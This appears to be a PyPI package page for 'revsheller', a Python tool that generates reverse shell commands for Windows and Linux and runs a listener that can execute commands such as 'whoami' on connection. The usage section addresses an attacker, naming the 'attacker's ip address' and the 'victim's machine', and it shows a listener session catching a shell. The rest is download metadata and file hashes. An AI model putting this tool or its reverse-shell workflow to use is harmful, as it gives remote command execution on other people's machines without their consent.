revsheller - Easy to generate reverse shells and build a server
Project description
revsheller - pip revsheller package
Easy to generate reverse shells and build a server.
Note: This package is only for Linux or unix like system.
How to install
Take it easy, just a pip.
How to use
To create reverse shells
>>> import revsheller as rev
>>> rev.generate(os, mode, ip, port=4444, sh=None, nc_path=None)
os - windows / linux
mode - nc:netcat / sh:shell / powershell
ip - attacker's ip address
port - attacker's port
sh - shell of victim's machine, not required
nc_path - netcat path on victim's machine, not required
Example for windows
>>> rev.generate('windows', 'powershell', '127.0.0.1', 4444)
Example for linux / unix
>>> rev.generate('linux', 'sh', '127.0.0.1', 4444, sh='/bin/bash')
To wait a connection
>>> revsheller.wait_for_connection(4444)
listening on [any] 4444 ...
To run a command automaticaly when get response
>>> revsheller.wait_for_connection(4444, 'whoami')
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 54364
ayato
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file revsheller-0.1.0.tar.gz.
File metadata
- Download URL: revsheller-0.1.0.tar.gz
- Upload date:
- Size: 3.0 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/5.1.0 CPython/3.11.8
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
851ea986913b40186cb903276d375fee3304e0b0980279309e9a00f8ee2b7b9c
|
|
| MD5 |
457cbb4886badc48ffdf27b843e2a9eb
|
|
| BLAKE2b-256 |
fb5a3d10c1bfcd1973a66322e302981880b5fbd0c0c039a19cc6e242c6048f44
|
File details
Details for the file revsheller-0.1.0-py3-none-any.whl.
File metadata
- Download URL: revsheller-0.1.0-py3-none-any.whl
- Upload date:
- Size: 3.1 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/5.1.0 CPython/3.11.8
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
a9debdc44b5c95b212e689011d8a577083987c07c0b9c73d2d0e1d654ffb98e2
|
|
| MD5 |
f692b84e26e65c3288bf800dc3b07afa
|
|
| BLAKE2b-256 |
80c980d998f1185642454e7bef0af8b4ef52846af2cfb3a7443838716568334d
|